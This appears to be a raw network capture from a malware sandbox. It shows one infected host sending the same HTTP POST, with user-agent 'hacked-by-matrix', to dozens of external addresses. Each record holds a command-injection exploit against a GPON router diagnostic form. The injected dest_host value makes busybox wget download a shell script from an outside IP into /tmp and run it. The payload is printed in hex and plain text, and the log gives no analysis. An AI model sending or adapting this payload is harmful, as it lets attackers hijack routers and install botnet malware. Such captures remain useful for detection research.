Mar 2, 2024 12:38:04.099365950 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1263	192.168.2.23	56122	5.142.169.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099375963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1264	192.168.2.23	44406	2.242.125.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099379063 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1265	192.168.2.23	43492	210.165.4.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099390030 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1266	192.168.2.23	39284	109.225.71.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099405050 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1267	192.168.2.23	44378	178.57.25.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099431038 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1268	192.168.2.23	42018	109.60.169.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099432945 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1269	192.168.2.23	40092	94.101.139.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099445105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1270	192.168.2.23	60794	178.47.224.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099447012 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1271	192.168.2.23	40594	118.128.4.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099447012 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1272	192.168.2.23	36126	37.254.72.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099477053 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1273	192.168.2.23	45376	37.78.170.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099479914 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1274	192.168.2.23	47800	37.82.126.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099500895 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1275	192.168.2.23	48628	118.51.51.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099509954 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1276	192.168.2.23	59680	212.205.84.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099540949 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1277	192.168.2.23	40270	109.58.197.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099550962 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1278	192.168.2.23	39758	2.93.37.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099584103 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1279	192.168.2.23	51620	5.116.46.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099620104 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1280	192.168.2.23	58316	178.215.164.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099638939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1281	192.168.2.23	33836	212.62.66.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099643946 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1282	192.168.2.23	36120	178.196.120.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099644899 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1283	192.168.2.23	56034	2.180.138.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099652052 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1284	192.168.2.23	34882	109.104.82.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099680901 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1285	192.168.2.23	57702	37.12.6.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099713087 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1286	192.168.2.23	46306	118.187.190.97	443

Timestamp	Bytes transferred	Direction	Data
